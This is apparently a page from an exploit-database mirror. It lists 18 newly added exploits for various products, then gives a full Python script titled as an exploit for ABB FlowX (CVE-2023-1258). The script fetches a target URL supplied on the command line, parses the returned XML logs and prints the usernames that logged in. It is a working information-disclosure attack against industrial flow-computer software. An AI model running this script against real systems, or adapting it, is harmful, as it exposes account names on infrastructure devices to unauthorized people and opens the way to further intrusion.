3a3c03321c
18 changes to exploits/shellcodes/ghdb Hikvision Hybrid SAN Ds-a71024 Firmware - Multiple Remote Code Execution ABB FlowX v4.00 - Exposure of Sensitive Information TP-Link TL-WR740N - Authenticated Directory Transversal Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS) Blackcat Cms v1.4 - Remote Code Execution (RCE) Blackcat Cms v1.4 - Stored XSS CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI) CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS) Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration) Online Piggery Management System v1.0 - unauthenticated file upload vulnerability phpfm v1.7.9 - Authentication type juggling PimpMyLog v1.7.14 - Improper access control PMB 7.4.6 - SQL Injection Statamic 4.7.0 - File-Inclusion Vaidya-Mitra 1.0 - Multiple SQLi
42 lines
No EOL
1 KiB
Python
Executable file
42 lines
No EOL
1 KiB
Python
Executable file
# Exploit Title: ABB FlowX v4.00 - Exposure of Sensitive Information
|
|
# Date: 2023-03-31
|
|
# Exploit Author: Paul Smith
|
|
# Vendor Homepage: https://new.abb.com/products/measurement-products/flow-computers/spirit-it-flow-x-series
|
|
# Version: ABB Flow-X all versions before V4.00
|
|
# Tested on: Kali Linux
|
|
# CVE: CVE-2023-1258
|
|
|
|
|
|
#!/usr/bin/python
|
|
import sys
|
|
import re
|
|
from bs4 import BeautifulSoup as BS
|
|
import lxml
|
|
import requests
|
|
|
|
# Set the request parameter
|
|
url = sys.argv[1]
|
|
|
|
|
|
def dump_users():
|
|
response = requests.get(url)
|
|
|
|
# Check for HTTP codes other than 200
|
|
if response.status_code != 200:
|
|
print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:',response.text)
|
|
exit()
|
|
|
|
# Decode the xml response into dictionary and use the data
|
|
data = response.text
|
|
soup = BS(data, features="xml")
|
|
logs = soup.find_all("log")
|
|
for log in logs:
|
|
test = re.search('User (.*?) logged in',str(log))
|
|
if test:
|
|
print(test.group(0))
|
|
def main():
|
|
dump_users()
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main() |